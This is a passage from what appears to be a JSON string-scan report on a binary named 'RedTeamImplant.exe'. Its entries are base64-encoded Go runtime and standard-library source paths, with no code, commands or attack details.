Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9lbnZfcG9zaXguZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9lcnJvci5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9leHRlcm4uZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9mYXN0bG9nMi5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9mbG9hdC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9oYXNoNjQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9oaXN0b2dyYW0uZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9pZmFjZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9sZnN0YWNrLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9sb2NrX3NlbWEuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9sb2NrX3NwaW5iaXQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9sb2NrcmFuay5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9sb2NrcmFua19vZmYuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tYWxsb2MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tYXBfc3dpc3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tYmFycmllci5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tYml0bWFwLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tY2FjaGUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tY2VudHJhbC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tY2hlY2ttYXJrLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tY2xlYW51cC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZW0uZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZW1fd2luZG93cy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZW1jbHJfYW1kNjQucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZW1tb3ZlX2FtZDY0LnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZXRyaWNzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZmluYWwuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZml4YWxsb2MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2NsaW1pdC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2NtYXJrLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2NtYXJrX25vZ3JlZW50ZWFnYy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2NwYWNlci5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2NzY2F2ZW5nZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2NzdGFjay5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2Nzd2VlcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tZ2N3b3JrLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9taGVhcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tcGFnZWFsbG9jLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tcGFnZWFsbG9jXzY0Yml0Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tcGFnZWNhY2hlLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tcGFsbG9jYml0cy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tcHJvZi5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tcmFuZ2VzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tc2l6ZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tc3BhbnNldC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9tc3RhdHMuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9td2JidWYuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9uZXRwb2xsLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9uZXRwb2xsX3dpbmRvd3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9vc193aW5kb3dzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9wYW5pYy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9waW5uZXIuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9wcmVlbXB0Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9wcmVlbXB0X2FtZDY0LnM=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9wcmludC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9wcm9jLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9wcm9mYnVmLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9yYW5kLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9ydDBfd2luZG93c19hbWQ2NC5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9ydW50aW1lLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9ydW50aW1lMS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9ydW50aW1lMi5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9yd211dGV4Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zZWxlY3QuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zZW1hLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zaWduYWxfd2luZG93cy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zaWdxdWV1ZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zbGljZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zdGFjay5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zdGtmcmFtZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zdHJpbmcuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zdHVicy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zeW10YWIuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zeW10YWJpbmwuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zeW5jdGVzdC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zeXNfd2luZG93c19hbWQ2NC5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zeXNfeDg2Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS9zeXNjYWxsX3dpbmRvd3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90YWdwdHJfNjRiaXQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90aW1lLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90aW1lX25vZmFrZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90aW1lX3dpbmRvd3NfYW1kNjQucw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZWFsbG9jZnJlZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZWJhY2suZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZWJ1Zi5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZWNwdS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZWV2ZW50Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZW1hcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXJlZ2lvbi5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXJ1bnRpbWUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXN0YWNrLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXN0YXR1cy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXN0cmluZy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXRpbWUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90cmFjZXR5cGUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90eXBlLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS90eXBla2luZC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS91bnNhZmUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS91dGY4Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS93cml0ZV9lcnIuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvcnVudGltZS96Y2FsbGJhY2tfd2luZG93cy5z","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc2xpY2VzL3NvcnQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc2xpY2VzL3pzb3J0YW55ZnVuYy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3RyY29udi9hdG9pLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3RyY29udi9kZWNpbWFsLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3RyY29udi9mdG9hLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3RyY29udi9mdG9hcnl1Lmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3RyY29udi9pdG9hLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3RyY29udi9xdW90ZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9hdG9taWMvdHlwZS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9oYXNodHJpZW1hcC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9tdXRleC5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9vbmNlLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9wb29sLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9wb29scXVldWUuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3luYy9ydW50aW1lLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC9kbGxfd2luZG93cy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC9lbnZfd2luZG93cy5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC9leGVjX3dpbmRvd3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC9zZWN1cml0eV93aW5kb3dzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC9zeXNjYWxsLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC9zeXNjYWxsX3dpbmRvd3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC90eXBlc193aW5kb3dzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC93dGY4X3dpbmRvd3MuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvc3lzY2FsbC96c3lzY2FsbF93aW5kb3dzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdGltZS9mb3JtYXQuZ28=","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdGltZS9mb3JtYXRfcmZjMzMzOS5nbw==","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdGltZS90aW1lLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdGltZS96b25laW5mb19hYmJyc193aW5kb3dzLmdv","type":"Ansi","source":"Memory/File Scan","process":null,"filename":"RedTeamImplant.exe","compromised":null,"detection_total":null,"total":null},{"value":"L3Vzci9sb2NhbC9nby9zcmMvdW5pY29kZS9sZXR0ZXIuZ28=","type":"Ansi","source":"Memory/File 